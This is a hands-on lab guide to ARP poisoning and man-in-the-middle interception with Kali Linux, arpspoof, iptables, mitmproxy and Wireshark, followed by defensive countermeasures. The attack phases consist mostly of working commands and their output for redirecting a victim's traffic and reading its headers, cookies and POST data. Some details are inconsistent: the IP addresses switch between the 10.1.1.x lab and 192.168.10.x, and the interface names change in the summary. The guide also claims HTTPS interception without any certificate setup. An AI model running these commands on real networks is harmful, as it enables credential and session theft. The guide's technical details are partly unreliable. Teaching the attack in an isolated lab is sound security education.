← All Guides/Cybersecurity
GUIDE

ARP Poisoning & MITM Attacks β€” Hands-On Lab with Kali Linux

πŸ“… June 10, 2026πŸ•’ 12 min read✍️ JSMSec


What is ARP Poisoning?

ARP (Address Resolution Protocol) is responsible for mapping IP addresses to MAC addresses on a local network. When a device wants to communicate with another device, it broadcasts an ARP request asking "Who has IP 192.168.1.1?" β€” and the owner replies with its MAC address.

The critical problem: ARP has no authentication. Any device on the network can send a fake (gratuitous) ARP reply claiming to be any IP address. This is ARP poisoning.

ℹ️How MITM Works

Once an attacker poisons the ARP cache of both the victim and the gateway, all traffic flows through the attacker's machine β€” who can read, modify, or drop packets before forwarding them on. This is a classic Man-in-the-Middle (MITM) attack.


Lab Environment

This lab uses three isolated VMs on a host-only or NAT network. No traffic touches the real internet.

VMOSRoleIP
AttackerKali Linux 2024Runs arpspoof + mitmproxy10.1.1.210
VictimWindows 10Target machine10.1.1.221
GatewaypfSense 2.7Default gateway / router10.1.1.254
Lab network topology showing Kali, Windows 10, and pfSense VMs
πŸ” click to zoom
Fig 1 β€” Lab topology: isolated host-only network with three VMs
🚨Legal Warning

ARP poisoning on any network you do not own or have explicit written permission to test is illegal under the Computer Fraud and Abuse Act (CFAA) and equivalent laws. Run this only in your isolated lab.


Prerequisites

Before starting, make sure your environment is ready:

  • VMware Workstation or VirtualBox with all three VMs on the same host-only network adapter
  • Kali Linux has dsniff and mitmproxy installed
  • pfSense is configured as the default gateway for the subnet
  • Windows 10 VM has a browser and can ping the gateway
πŸ§ͺVerify Connectivity First

From the Kali VM, ping both 192.168.10.1 (pfSense) and 192.168.10.20 (Windows 10) before starting. If pings fail, check your VM network adapter settings.


Phase 1 β€” Understand the Normal ARP Table

Check the victim's ARP cache (before attack)

Open a terminal on the Windows 10 VM and run:

Windows 10 VM β€” cmd.exe

C:\> arp -a

Interface: 192.168.10.20 --- 0x5 Internet Address Physical Address Type 10.1.1.254 00-0c-29-aa-bb-cc dynamic # real pfSense MAC 10.1.1.210 00-0c-29-dd-ee-ff dynamic # Kali MAC

Note the gateway's real MAC address (00-0c-29-aa-bb-cc). After the attack, this will be replaced with Kali's MAC.

Check Kali's network interface

On the Kali VM:

terminal

ip addr show ip route show

Note your interface name β€” it will be eth0, eth1, or similar depending on your VM config.


Phase 2 β€” Enable IP Forwarding on Kali

This step is critical. Without it, Kali will drop all the victim's packets instead of forwarding them β€” the victim loses internet connectivity and the attack becomes obvious.

terminal

Enable IP forwarding (packets survive through Kali): echo 1 | sudo tee /proc/sys/net/ipv4/ip_forward

Verify it's set: cat /proc/sys/net/ipv4/ip_forward Should output: 1

⚠️Don't Skip This

Forgetting IP forwarding is the most common mistake. The victim's connection drops entirely, revealing the attack immediately.


Set up IP tables rules

terminal

Allow forwarding: sudo iptables -P FORWARD ACCEPT

NAT for internet access (from previous fix): sudo iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE sudo iptables -A FORWARD -i eth1 -o eth0 -j ACCEPT sudo iptables -A FORWARD -i eth0 -o eth1 -m state --state ESTABLISHED,RELATED -j ACCEPT

Redirect HTTP (port 80) traffic from Windows β†’ mitmproxy: sudo iptables -t nat -A PREROUTING -i eth1 -p tcp
--src 10.1.1.221 --dport 80 -j REDIRECT --to-port 8080

Redirect HTTPS (port 443) traffic from Windows β†’ mitmproxy: sudo iptables -t nat -A PREROUTING -i eth1 -p tcp
--src 10.1.1.221 --dport 443 -j REDIRECT --to-port 8080

Verify rules are in place: sudo iptables -t nat -L -v

What each command actually doing in our case:

terminal

echo 1 | sudo tee /proc/sys/net/ipv4/ip_forward

By default Linux drops packets that aren't destined for itself. This tells the kernel:

"If a packet arrives on eth1 destined for someone else (e.g. 8.8.8.8), don't drop it β€” route it forward."

Without this β†’ Windows loses internet the moment ARP poison starts. With this β†’ Kali behaves like a router and passes packets along.

terminal

sudo iptables -P FORWARD ACCEPT

The FORWARD chain handles packets passing THROUGH Kali (not to/from Kali itself β€” that's INPUT/OUTPUT chains).

terminal

Default policy is often DROP, meaning: eth1 β†’ kernel β†’ FORWARD chain β†’ DROP βœ— Setting it to ACCEPT means: eth1 β†’ kernel β†’ FORWARD chain β†’ ACCEPT β†’ eth0 βœ“

terminal

sudo iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE

This is the most critical rule for your dual-interface setup. Because here in this lab we are using two interface into kali linux. As per the topology diagram shown in beginning of this article.

terminal

Problem without it: Windows packet arrives: src=10.1.1.221 dst=8.8.8.8 Kali forwards it as-is: src=10.1.1.221 dst=8.8.8.8 Google replies to: dst=10.1.1.221 ← goes to Windows directly bypassing Kali entirely!

terminal

With MASQUERADE: Windows packet arrives: src=10.1.1.221 dst=8.8.8.8 Kali rewrites source: src=Kali-eth0 dst=8.8.8.8 ← exit through eth0 Google replies to: dst=Kali-eth0 ← comes back to Kali Kali translates back: dst=10.1.1.221 ← forwards to Windows

This is exactly what pfSense was doing before β€” NAT. Now Kali is doing it instead.

terminal

sudo iptables -A FORWARD -i eth1 -o eth0 -j ACCEPT sudo iptables -A FORWARD -i eth0 -o eth1 -m state --state ESTABLISHED,RELATED -j ACCEPT

These two rules define the allowed traffic directions:

terminal

Rule 1 β€” Outbound (LAN β†’ WAN): eth1 (Windows traffic) β†’ eth0 (toward internet) ACCEPT βœ“ Any new connection from victim is allowed out.

terminal

Rule 2 β€” Inbound (WAN β†’ LAN), return traffic only: eth0 (internet replies) β†’ eth1 (back to Windows) ACCEPT βœ“ BUT only for ESTABLISHED/RELATED connections β€” meaning only replies to connections Windows already started. Random inbound connections from internet are still blocked.

Phase 3 β€” Launch the ARP Poison

arpspoof from the dsniff package sends continuous gratuitous ARP replies to both the victim and the gateway, poisoning both ARP caches simultaneously.

Open two terminals on Kali and run these in parallel:

Terminal 1 β€” Tell the victim that Kali is the gateway:

terminal
Syntax: arpspoof -i <interface> -t <target> <host-to-impersonate>
sudo arpspoof -i eth1 -t 10.1.1.221 10.1.1.254

Terminal 2 β€” Tell the gateway that Kali is the victim:

terminal

sudo arpspoof -i eth1 -t 10.1.1.254 10.1.1.221

Kali β€” arpspoof output (Terminal 1)

0:c:29:dd:ee:ff 0:c:29:11:22:33 0806 42: arp reply 10.1.1.254 is-at 0:c:29:dd:ee:ff 0:c:29:dd:ee:ff 0:c:29:11:22:33 0806 42: arp reply 10.1.1.254 is-at 0:c:29:dd:ee:ff 0:c:29:dd:ee:ff 0:c:29:11:22:33 0806 42: arp reply 10.1.1.254 is-at 0:c:29:dd:ee:ff

Each line is Kali sending a fake ARP reply to the victim, claiming Kali's MAC belongs to the gateway IP.

Confirm the poison worked

Back on Windows 10 VM:

Windows 10 VM β€” after attack

C:\> arp -a Interface: 10.1.1.221 --- 0x5 Internet Address Physical Address Type 10.1.1.254 00-0c-29-dd-ee-ff dynamic ← NOW Kali's MAC! 10.1.1.210 00-0c-29-dd-ee-ff dynamic

Both entries now show Kali's MAC β€” the victim's ARP cache is poisoned.


Phase 4 β€” Intercept Traffic with mitmproxy

Launch mitmproxy in transparent mode

terminal

sudo mitmproxy --mode transparent --listen-host 0.0.0.0 --listen-port 8080 --showhost

mitmproxy intercepting HTTP requests from victim
πŸ” click to zoom
Fig 3 β€” mitmproxy showing intercepted HTTP requests from the victim VM

Here using mitmproxy we can intercept the HTTPS traffic. Now browse to any HTTP/HTTPS site from the Windows 10 VM. You will see every request appear in the mitmproxy interface on Kali, including headers, cookies, and POST body data.

πŸ’‘mitmproxy Key Bindings

Press Enter on any request to inspect it. Press q to go back. Press ? for the full help screen. Use arrow keys to navigate.


Phase 5 β€” Capture with Wireshark

While using the wireshark tool we can intercept only HTTP traffic, with help of it attacker can see victim username and password of any http website using wireshark. Run Wireshark alongside to see the raw packet flow:

terminal

sudo wireshark

Start Capturing the traffic in eth1. Filter for ARP packets to see the poisoning in real time:

terminal

arp

Filter for traffic between victim and gateway:

terminal

ip.addr == 10.1.1.221

You will see Kali sending a flood of ARP replies to both the victim and gateway. Each reply poisons (or re-poisons) the ARP cache.


Phase 6 β€” Clean Up After the Lab

Always restore ARP tables when you stop the attack. Press Ctrl+C in both arpspoof terminals β€” dsniff automatically sends correct ARP replies to restore the caches.

Also clear the iptables rules (disable IP Forwarding):

terminal

Stop mitmproxy β†’ Ctrl+C Stop both arpspoof β†’ Ctrl+C in Terminal 1 and 2

Remove ALL iptables rules sudo iptables -t nat -F sudo iptables -F FORWARD sudo iptables -P FORWARD DROP

Disable IP forwarding sudo sysctl -w net.ipv4.ip_forward=0

Clear poisoned ARP cache on Windows 10 (execute this command in administrator mode) arp -d *

Verify on Windows 10 that the gateway MAC is restored to the real pfSense MAC:

Windows 10 VM β€” after cleanup

C:\> arp -a

Interface: 192.168.10.20 --- 0x5 Internet Address Physical Address Type 10.1.1.254 00-0c-29-aa-bb-cc dynamic # real pfSense MAC restored


Defensive Countermeasures

Understanding the attack is half the job. Here is how to defend against it:

1. Dynamic ARP Inspection (DAI)

On managed switches, DAI validates ARP packets against a DHCP snooping binding table. Packets with invalid IP-to-MAC mappings are dropped automatically.

terminal

Cisco IOS example Switch(config)# ip arp inspection vlan 10 Switch(config-if)# ip arp inspection trust # on uplink only

2. Static ARP Entries

For critical machines (gateways, servers), set static ARP entries that cannot be overwritten:

Windows β€” set static ARP

Set a static ARP entry for the gateway netsh interface ipv4 add neighbors "Ethernet" 192.168.10.1 00-0c-29-aa-bb-cc

terminal

Linux β€” set static ARP entry sudo arp -s 192.168.10.1 00:0c:29:aa:bb:cc

3. XArp β€” ARP Monitoring

XArp is a free tool that monitors ARP traffic and alerts on suspicious changes to the ARP cache.

4. Use Encrypted Protocols

Even with a MITM in place, HTTPS, SSH, and VPN traffic is encrypted. An attacker can see the traffic volume and destination, but not the plaintext content.

πŸ’‘HSTS Makes HTTPS Downgrade Harder

Sites that implement HTTP Strict Transport Security (HSTS) prevent browsers from accepting unencrypted connections, making sslstrip attacks significantly harder.


Summary

Quick reference β€” attack flow

Enable IP forwarding echo 1 | sudo tee /proc/sys/net/ipv4/ip_forward

Poison victim β†’ gateway direction sudo arpspoof -i eth0 -t 10.1.1.221 10.1.1.254 &

Poison gateway β†’ victim direction sudo arpspoof -i eth0 -t 10.1.1.254 10.1.1.221 &

Redirect traffic to mitmproxy sudo iptables -t nat -A PREROUTING -i eth0 -p tcp --dport 80 -j REDIRECT --to-port 8080

Launch mitmproxy mitmproxy --mode transparent --showhost

--- CLEANUP --- sudo iptables -t nat -F PREROUTING echo 0 | sudo tee /proc/sys/net/ipv4/ip_forward Ctrl+C on both arpspoof terminals to restore ARP caches

What we didWhy it matters
Poisoned both ARP cachesTraffic flows through attacker
Enabled IP forwardingAttack stays invisible
Intercepted with mitmproxyRead HTTP headers, cookies, POST data
Captured with WiresharkSaw raw ARP floods and TCP streams
Restored ARP tablesClean exit, no lingering disruption

The key takeaway: ARP has no built-in security. In any flat Layer 2 network, any device can become a MITM. Network segmentation, DAI on managed switches, and encrypted protocols are your primary defenses.